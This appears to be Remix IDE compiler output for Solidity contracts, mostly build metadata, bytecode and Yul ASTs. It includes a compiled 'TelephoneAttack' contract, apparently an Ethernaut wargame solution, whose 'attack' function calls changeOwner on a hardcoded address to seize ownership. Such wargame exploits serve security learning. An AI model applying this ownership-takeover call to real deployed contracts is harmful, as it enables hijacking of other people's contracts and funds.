"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x2E64CEC1 EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0x6057361D EQ PUSH2 0x59 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x43 PUSH2 0x75 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x50 SWAP2 SWAP1 PUSH2 0xD9 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x73 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x6E SWAP2 SWAP1 PUSH2 0x9D JUMP JUMPDEST PUSH2 0x7E JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 POP SWAP1 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x97 DUP2 PUSH2 0x103 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0xB3 JUMPI PUSH2 0xB2 PUSH2 0xFE JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0xC1 DUP5 DUP3 DUP6 ADD PUSH2 0x88 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0xD3 DUP2 PUSH2 0xF4 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0xEE PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0xCA JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x10C DUP2 PUSH2 0xF4 JUMP JUMPDEST DUP2 EQ PUSH2 0x117 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 BLOCKHASH 0x4E CALLDATACOPY DELEGATECALL DUP8 0xA8 SWAP11 SWAP4 0x2D 0xCA 0x5E PUSH24 0xFAAF6CA2DE3B991F93D230604B1B8DAAEF64766264736F6C PUSH4 0x43000807 STOP CALLER ",
"sourceMap": "141:356:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;416:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;271:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;416:79;457:7;482:6;;475:13;;416:79;:::o;271:64::-;325:3;316:6;:12;;;;271:64;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:329::-;211:6;260:2;248:9;239:7;235:23;231:32;228:119;;;266:79;;:::i;:::-;228:119;386:1;411:53;456:7;447:6;436:9;432:22;411:53;:::i;:::-;401:63;;357:117;152:329;;;;:::o;487:118::-;574:24;592:5;574:24;:::i;:::-;569:3;562:37;487:118;;:::o;611:222::-;704:4;742:2;731:9;727:18;719:26;;755:71;823:1;812:9;808:17;799:6;755:71;:::i;:::-;611:222;;;;:::o;920:77::-;957:7;986:5;975:16;;920:77;;;:::o;1126:117::-;1235:1;1232;1225:12;1249:122;1322:24;1340:5;1322:24;:::i;:::-;1315:5;1312:35;1302:63;;1361:1;1358;1351:12;1302:63;1249:122;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "67200",
"executionCost": "117",
"totalCost": "67317"
},
"external": {
"retrieve()": "2415",
"store(uint256)": "22520"
}
},
"methodIdentifiers": {
"retrieve()": "2e64cec1",
"store(uint256)": "6057361d"
}
},
"abi": [
{
"inputs": [],
"name": "retrieve",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "num",
"type": "uint256"
}
],
"name": "store",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "retrieve",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "num",
"type": "uint256"
}
],
"name": "store",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"details": "Store & retrieve value in a variable",
"kind": "dev",
"methods": {
"retrieve()": {
"details": "Return value ",
"returns": {
"_0": "value of 'number'"
}
},
"store(uint256)": {
"details": "Store value in variable",
"params": {
"num": "value to store"
}
}
},
"title": "Storage",
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/1_Storage.sol": "Storage"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/1_Storage.sol": {
"keccak256": "0xb6ee9d528b336942dd70d3b41e2811be10a473776352009fd73f85604f5ed206",
"license": "GPL-3.0",
"urls": [
"bzz-raw://fe52c6e3c04ba5d83ede6cc1a43c45fa43caa435b207f64707afb17d3af1bcf1",
"dweb:/ipfs/QmawU3NM1WNWkBauRudYCiFvuFE1tTLHB98akyBvb9UWwA"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"changeOwner(address)": "a6f9dae1"
}
},
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_owner",
"type": "address"
}
],
"name": "changeOwner",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_owner",
"type": "address"
}
],
"name": "changeOwner",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/TelephoneAttack.sol": "Telephone"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/TelephoneAttack.sol": {
"keccak256": "0xbc9e7b0a7889d80db5d1e4df370cb43c8496f81836c231fd64794801e9e35bfb",
"urls": [
"bzz-raw://20bf2f5a653639029b4ec2756910aac9ce986a3691534dd852ba2f1174083abb",
"dweb:/ipfs/Qmbep39W8DLJHa87wkRDFpvmU1dFhFRNrZMXoRoQttJwhW"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_19": {
"entryPoint": null,
"id": 19,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_address_fromMemory": {
"entryPoint": 205,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_address_fromMemory": {
"entryPoint": 226,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 271,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 289,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 321,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_address": {
"entryPoint": 326,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1199:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "70:80:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "80:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "95:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "89:5:1"
},
"nodeType": "YulFunctionCall",
"src": "89:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "80:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "138:5:1"
}
],
"functionName": {
"name": "validator_revert_t_address",
"nodeType": "YulIdentifier",
"src": "111:26:1"
},
"nodeType": "YulFunctionCall",
"src": "111:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "111:33:1"
}
]
},
"name": "abi_decode_t_address_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "48:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "56:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "64:5:1",
"type": ""
}
],
"src": "7:143:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "233:274:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "279:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "281:77:1"
},
"nodeType": "YulFunctionCall",
"src": "281:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "281:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "254:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "263:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "250:3:1"
},
"nodeType": "YulFunctionCall",
"src": "250:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "275:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "246:3:1"
},
"nodeType": "YulFunctionCall",
"src": "246:32:1"
},
"nodeType": "YulIf",
"src": "243:119:1"
},
{
"nodeType": "YulBlock",
"src": "372:128:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "387:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "401:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "391:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "416:74:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "462:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "473:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "458:3:1"
},
"nodeType": "YulFunctionCall",
"src": "458:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "482:7:1"
}
],
"functionName": {
"name": "abi_decode_t_address_fromMemory",
"nodeType": "YulIdentifier",
"src": "426:31:1"
},
"nodeType": "YulFunctionCall",
"src": "426:64:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "416:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_address_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "203:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "214:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "226:6:1",
"type": ""
}
],
"src": "156:351:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "553:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "563:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "579:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "573:5:1"
},
"nodeType": "YulFunctionCall",
"src": "573:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "563:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "546:6:1",
"type": ""
}
],
"src": "513:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "639:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "649:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "678:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "660:17:1"
},
"nodeType": "YulFunctionCall",
"src": "660:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "649:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "621:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "631:7:1",
"type": ""
}
],
"src": "594:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "741:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "751:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "766:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "773:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "762:3:1"
},
"nodeType": "YulFunctionCall",
"src": "762:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "751:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "723:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "733:7:1",
"type": ""
}
],
"src": "696:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "917:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "934:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "937:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "927:6:1"
},
"nodeType": "YulFunctionCall",
"src": "927:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "927:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "828:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1040:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1057:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1060:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1050:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1050:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1050:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "951:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1117:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1174:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1183:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1186:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1176:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1176:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1176:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1140:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1165:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "1147:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1147:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "1137:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1137:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1130:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1130:43:1"
},
"nodeType": "YulIf",
"src": "1127:63:1"
}
]
},
"name": "validator_revert_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1110:5:1",
"type": ""
}
],
"src": "1074:122:1"
}
]
},
"contents": "{\n\n function abi_decode_t_address_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_address(value)\n }\n\n function abi_decode_tuple_t_address_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"linkReferences": {},
"object": "6080604052731b79ac6a9e87aa86f4132a30b71a8946eee02e49600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006557600080fd5b506040516102e73803806102e7833981810160405281019061008791906100e2565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061015d565b6000815190506100dc81610146565b92915050565b6000602082840312156100f8576100f7610141565b5b6000610106848285016100cd565b91505092915050565b600061011a82610121565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600080fd5b61014f8161010f565b811461015a57600080fd5b50565b61017b8061016c6000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80639e5faafc14610030575b600080fd5b61003861003a565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f9dae160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016100b591906100f8565b600060405180830381600087803b1580156100cf57600080fd5b505af11580156100e3573d6000803e3d6000fd5b50505050565b6100f281610113565b82525050565b600060208201905061010d60008301846100e9565b92915050565b600061011e82610125565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff8216905091905056fea264697066735822122094d7902390089ec2b5799ba387879f4dd4c1cf91960ccf0dd6a23393d10f036864736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH20 0x1B79AC6A9E87AA86F4132A30B71A8946EEE02E49 PUSH1 0x1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP CALLVALUE DUP1 ISZERO PUSH2 0x65 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x2E7 CODESIZE SUB DUP1 PUSH2 0x2E7 DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x87 SWAP2 SWAP1 PUSH2 0xE2 JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x15D JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0xDC DUP2 PUSH2 0x146 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0xF8 JUMPI PUSH2 0xF7 PUSH2 0x141 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x106 DUP5 DUP3 DUP6 ADD PUSH2 0xCD JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x11A DUP3 PUSH2 0x121 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x14F DUP2 PUSH2 0x10F JUMP JUMPDEST DUP2 EQ PUSH2 0x15A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x17B DUP1 PUSH2 0x16C PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x38 PUSH2 0x3A JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA6F9DAE1 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xB5 SWAP2 SWAP1 PUSH2 0xF8 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xCF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0xE3 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH2 0xF2 DUP2 PUSH2 0x113 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x10D PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0xE9 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x11E DUP3 PUSH2 0x125 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 SWAP5 0xD7 SWAP1 0x23 SWAP1 ADDMOD SWAP15 0xC2 0xB5 PUSH26 0x9BA387879F4DD4C1CF91960CCF0DD6A23393D10F036864736F6C PUSH4 0x43000807 STOP CALLER ",
"sourceMap": "121:285:0:-:0;;;281:42;252:72;;;;;;;;;;;;;;;;;;;;176:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;229:9;218:8;;:20;;;;;;;;;;;;;;;;;;176:70;121:285;;7:143:1;64:5;95:6;89:13;80:22;;111:33;138:5;111:33;:::i;:::-;7:143;;;;:::o;156:351::-;226:6;275:2;263:9;254:7;250:23;246:32;243:119;;;281:79;;:::i;:::-;243:119;401:1;426:64;482:7;473:6;462:9;458:22;426:64;:::i;:::-;416:74;;372:128;156:351;;;;:::o;594:96::-;631:7;660:24;678:5;660:24;:::i;:::-;649:35;;594:96;;;:::o;696:126::-;733:7;773:42;766:5;762:54;751:65;;696:126;;;:::o;951:117::-;1060:1;1057;1050:12;1074:122;1147:24;1165:5;1147:24;:::i;:::-;1140:5;1137:35;1127:63;;1186:1;1183;1176:12;1127:63;1074:122;:::o;121:285:0:-;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@attack_35": {
"entryPoint": 58,
"id": 35,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_encode_t_address_to_t_address_fromStack": {
"entryPoint": 233,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_address__to_t_address__fromStack_reversed": {
"entryPoint": 248,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 275,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 293,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:590:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "72:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "89:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "112:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "94:17:1"
},
"nodeType": "YulFunctionCall",
"src": "94:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "82:6:1"
},
"nodeType": "YulFunctionCall",
"src": "82:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "82:37:1"
}
]
},
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
